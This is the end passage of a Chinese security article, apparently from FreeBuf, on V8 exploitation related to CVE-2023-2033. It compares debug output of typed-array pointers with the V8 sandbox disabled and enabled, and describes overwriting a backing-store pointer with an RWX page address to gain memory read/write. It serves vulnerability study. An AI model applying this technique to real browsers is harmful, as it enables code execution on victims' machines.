 - data_ptr: 0x7fb90870c630
   - base_pointer: 0x0
   - external_pointer: 0x7fb90870c630

关闭sandbox,external_pointer为一个完整的指针。addressof(shellArray) + 0x2c存的值是0x7fb90870c630。替换为rwx的值即可读写rwx里面的内容。

# enable v8 sandbox
# v8_enable_sandbox = true 
# ./d8 --allow-natives-syntax test.js
# var obj = new Uint8Array(100);
# %DebugPrint(obj);
DebugPrint: 0x76d001cc639: [JSTypedArray]
 ...
 - data_ptr: 0x76e00000000
   - base_pointer: 0x0
   - external_pointer: 0x76e00000000

开启sandbox,0x76e00000000为v8 sandbox addr,addressof(shellArray) + 0x2c存的值是0x100000000,寄存器里面存放的是0x76d,两者相加得到0x76e00000000。

作者: coolboy

参考

Critical Zero-Day Chrome Vulnerability Discovered in V8 Engine's JIT (CVE-2023-2033)

# 漏洞
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录